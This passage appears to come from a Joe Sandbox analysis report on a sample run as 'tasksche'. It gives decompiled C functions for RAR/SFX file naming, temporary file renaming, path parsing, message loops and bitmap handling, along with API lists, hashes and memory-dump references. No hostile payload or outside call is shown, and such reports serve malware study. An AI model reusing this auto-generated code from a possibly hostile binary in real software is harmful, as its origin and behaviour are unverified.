					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

.rar, xrefs: 0040A8B8
sfx, xrefs: 0040A8F7
exe, xrefs: 0040A8E8
rar, xrefs: 0040A906

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%c:\, xrefs: 0040AA9A
%s.%d.tmp, xrefs: 0040AA82

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
